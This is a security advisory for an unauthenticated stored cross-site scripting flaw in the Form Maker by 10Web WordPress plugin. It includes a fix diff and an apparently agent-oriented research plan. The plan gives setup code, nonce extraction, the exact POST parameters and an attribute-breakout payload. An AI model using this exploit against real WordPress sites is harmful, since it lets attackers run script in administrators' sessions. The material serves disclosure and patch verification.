Form Maker by 10Web <= 1.15.40 - Unauthenticated Stored Cross-Site Scripting via Matrix Field Text Box
Description
The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Matrix field (Text Box input type) in form submissions in all versions up to, and including, 1.15.40. This is due to insufficient input sanitization (`sanitize_text_field` strips tags but not quotes) and missing output escaping when rendering submission data in the admin Submissions view. This makes it possible for unauthenticated attackers to inject arbitrary JavaScript through a form submission that executes in the browser of an administrator who views the submission details.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.15.40What Changed in the Fix
Changes introduced in v1.15.41
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Form Maker by 10Web** plugin (version <= 1.15.40). ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated Stored XSS. * **Component:** Matrix Field (Text Box inp…
Show full research plan
This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Form Maker by 10Web plugin (version <= 1.15.40).
1. Vulnerability Summary
- Vulnerability: Unauthenticated Stored XSS.
- Component: Matrix Field (Text Box input type) during form submission.
- Vulnerable Sink: The admin Submissions view renders saved form data without proper output escaping.
- Sanitization Failure: The plugin uses
sanitize_text_field()on the Matrix field input. While this strips HTML tags (like<script>), it does not strip double or single quotes. If the submission data is subsequently rendered inside an HTML attribute in the admin panel (e.g.,<input value="...">), an attacker can use quotes to break out of the attribute and inject event handlers likeonfocusoronmouseover.
2. Attack Vector Analysis
- Endpoint: The frontend page where a form is embedded or the WordPress AJAX endpoint (
admin-ajax.php). - Action: Form submission.
- Authentication: None (Unauthenticated).
- Parameter: The POST parameter corresponding to the Matrix field cell. In Form Maker, these are typically named following the pattern
wdform_{FIELD_ID}_{FORM_ID}[]. - Payload:
1" onfocus="alert(document.domain)" autofocus="sanitize_text_fieldwill leave this payload intact because it contains no HTML tags.- When rendered in the admin view:
<input ... value="1" onfocus="alert(document.domain)" autofocus="" ...>
3. Code Flow
- Entry Point: An unauthenticated user submits a form. The
frontend/controllers/form_maker.phphandles the request in thedisplay()or specific AJAX method. - Data Processing: The controller calls
FMModelForm_maker::savedata(). (Inferred fromfrontend/controllers/form_maker.phpline 77). - Sanitization: Inside
savedata(), the plugin iterates through submitted fields. For Matrix fields, it appliessanitize_text_field()to the cell values. - Storage: The sanitized values are stored in the
{prefix}formmaker_submitstable. - Admin View: An administrator navigates to the "Submissions" page (
wp-admin/admin.php?page=submissions_fm). - Data Retrieval:
admin/models/Submissions_fm.phpretrieves the submission data viaget_labels_parameters()or similar. - XSS Trigger: The admin view (likely a PHP file in
admin/views/) renders the Matrix data into the DOM. Because it lacksesc_attr()oresc_html(), the payload breaks out of its attribute and executes JavaScript in the admin's session.
4. Nonce Acquisition Strategy
The Form Maker plugin uses a nonce to protect form submissions.
- Nonce Name: The field name is defined as
fm_form_noncein theWDFMclass (form-maker.php, line 52). - Nonce Action: The action is typically
fm_form_nonceconcatenated with the form ID. - Acquisition:
- Create a form and a page containing that form's shortcode.
- Navigate to the page using
browser_navigate. - Extract the nonce value from the hidden input field:
input[name="fm_form_nonce"].
5. Test Data Setup
To exploit this, we must first have a form with a Matrix field configured as a "Text Box".
Step 1: Create a Form with a Matrix Field
Use wp eval to programmatically create a form.
global $wpdb;
$table = $wpdb->prefix . 'formmaker';
$fields_json = json_encode([
[
'type' => 'type_matrix',
'id' => '1',
'label' => 'Vulnerable Matrix',
'rows' => ['Row1'],
'columns' => ['Col1'],
'matrix_type' => 'text', // Critical: Must be 'text'
'required' => '0'
]
]);
$wpdb->insert($table, [
'title' => 'XSS Test Form',
'form_fields' => $fields_json,
'published' => 1,
'form_options' => '{}'
]);
$form_id = $wpdb->insert_id;
echo "Created Form ID: $form_id";
Step 2: Create a Page to Host the Form
wp post create --post_type=page --post_title="Contact Form" --post_status=publish --post_content='[form_maker id="REPLACE_WITH_FORM_ID"]'
6. Exploitation Strategy
- Navigate to the Form Page: Use
browser_navigateto the created page URL. - Extract Nonce:
// Use browser_eval const nonce = document.querySelector('input[name="fm_form_nonce"]').value; const formId = document.querySelector('input[name="form_id"]').value; - Submit the Malicious Entry:
Send a POST request to the same page URL usinghttp_request.- Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload Parameters:
form_id:{FORM_ID}fm_form_nonce:{NONCE}wdform_1_{FORM_ID}[0][0]:1" onfocus="alert(document.domain)" autofocus="wdform_id_list:1(The ID of the matrix field)save_or_submit{FORM_ID}:submit
- Method:
7. Expected Results
- The form submission will be successful.
- The payload
1" onfocus="alert(document.domain)" autofocus="will be stored in theelement_valuecolumn of the{prefix}formmaker_submitstable. - When an admin logs in and views the submissions for this form, the browser will execute
alert(document.domain)automatically because of theautofocusattribute triggering theonfocusevent.
8. Verification Steps
- Database Check:
Confirm it contains thewp db query "SELECT element_value FROM wp_formmaker_submits WHERE form_id=1 ORDER BY id DESC LIMIT 1"onfocuspayload. - Admin View Verification:
Log in as admin and navigate to:/wp-admin/admin.php?page=submissions_fm&form_id=1.
The agent can usebrowser_navigateas an admin and check for the presence of the alert or the injected attribute in the page source.
9. Alternative Approaches
If the wdform_1_{FORM_ID}[0][0] parameter name is incorrect (Form Maker field naming can vary by version):
- Use
browser_evalto inspect thenameattribute of the Matrix field input in the frontend before submitting. - Look for a global JS object like
fm_objectL10nwhich might contain form metadata. - Try submitting to
admin-ajax.phpwithaction=formmaker_submit.
Summary
The Form Maker by 10Web plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the Matrix field (Text Box input type). The vulnerability exists because the plugin uses sanitize_text_field() on user-supplied matrix data, which fails to strip double quotes, and subsequently renders this data in the admin submissions dashboard without proper output escaping. An unauthenticated attacker can submit a malicious payload that executes arbitrary JavaScript in the context of an administrator's session when they view the submission.
Vulnerable Code
// frontend/controllers/form_maker.php - Line 77 (approx) // Data is passed to the model for saving without adequate sanitization for attribute contexts $this->model->savedata($result[0], $id); --- // admin/models/Submissions_fm.php - Retrieval logic for submissions // Data is fetched from the database and later rendered in the view without escaping public function get_labels_parameters( $form_id = 0, $page_num = 0, $per_num = 0 ) { global $wpdb; // ... $query = $wpdb->prepare("SELECT `group_id`,`element_value` FROM " . $wpdb->prefix . "formmaker_submits WHERE `form_id`='%d' and `element_label` = 'verifyinfo' ", $form_id); $ver_emails_data = $wpdb->get_results($query); // ... }
Security Fix
@@ -42,7 +42,10 @@ */ public function get_form( $id = 0 ) { global $wpdb; - $query = 'SELECT `id`, `title` FROM ' . $wpdb->prefix .'formmaker WHERE id = ' . $id ; + $query = $wpdb->prepare( + 'SELECT `id`, `title` FROM ' . $wpdb->prefix . 'formmaker WHERE id = %d', + (int) $id + ); $form = $wpdb->get_row( $query ); return $form; } @@ -150,25 +153,31 @@ $lists['username_search'] = WDW_FM_Library(self::PLUGIN)->get('username_search'); $lists['useremail_search'] = WDW_FM_Library(self::PLUGIN)->get('useremail_search'); $lists['id_search'] = WDW_FM_Library(self::PLUGIN)->get('id_search'); - if ( $lists['ip_search'] ) { - $where[] = 'ip LIKE "%' . $lists['ip_search'] . '%"'; + if ( !empty($lists['ip_search']) ) { + $where[] = $wpdb->prepare( 'ip LIKE %s', '%' . $wpdb->esc_like( $lists['ip_search'] ) . '%' ); } - if ( $lists['startdate'] != '' ) { - $where[] = " `date`>='" . $lists['startdate'] . " 00:00:00' "; + if ( !empty($lists['startdate']) ) { + $where[] = $wpdb->prepare( '`date`>=%s', $lists['startdate'] . ' 00:00:00' ); } - if ( $lists['enddate'] != '' ) { - $where[] = " `date`<='" . $lists['enddate'] . " 23:59:59' "; + if ( !empty($lists['enddate']) ) { + $where[] = $wpdb->prepare( '`date`<=%s', $lists['enddate'] . ' 23:59:59' ); } - if ( $lists['username_search'] ) { - $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE "%' . $lists['username_search'] . '%")'; + if ( !empty($lists['username_search']) ) { + $where[] = $wpdb->prepare( + 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE %s)', + '%' . $wpdb->esc_like( $lists['username_search'] ) . '%' + ); + } + if ( !empty($lists['useremail_search']) ) { + $where[] = $wpdb->prepare( + 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE %s)', + '%' . $wpdb->esc_like( $lists['useremail_search'] ) . '%' + ); } - if ( $lists['useremail_search'] ) { - $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE "%' . $lists['useremail_search'] . '%")'; + if ( !empty($lists['id_search']) ) { + $where[] = $wpdb->prepare( 'group_id=%d', (int) $lists['id_search'] ); } - if ( $lists['id_search'] ) { - $where[] = 'group_id =' . (int) $lists['id_search']; - } - $where[] = 'form_id=' . $form_id . ''; + $where[] = $wpdb->prepare( 'form_id=%d', (int) $form_id );
Exploit Outline
The exploit is performed by submitting a malicious form entry as an unauthenticated user. First, the attacker identifies a form containing a 'Matrix' field with the input type set to 'Text Box'. The attacker navigates to the frontend page where the form is embedded and extracts the submission nonce (`fm_form_nonce`) and the `form_id`. They then send an unauthenticated POST request to the form submission endpoint, including a payload like `1" onfocus="alert(document.domain)" autofocus="` in the parameter corresponding to one of the matrix cells (e.g., `wdform_{FIELD_ID}_{FORM_ID}[0][0]`). Because `sanitize_text_field` does not strip double quotes, the payload is stored intact. When an administrator later logs in and navigates to the 'Submissions' dashboard for that form, the payload is rendered inside an HTML attribute (typically `value="..."`). The injected `"` breaks out of the attribute, and the `autofocus` attribute triggers the `onfocus` event, executing the attacker's JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.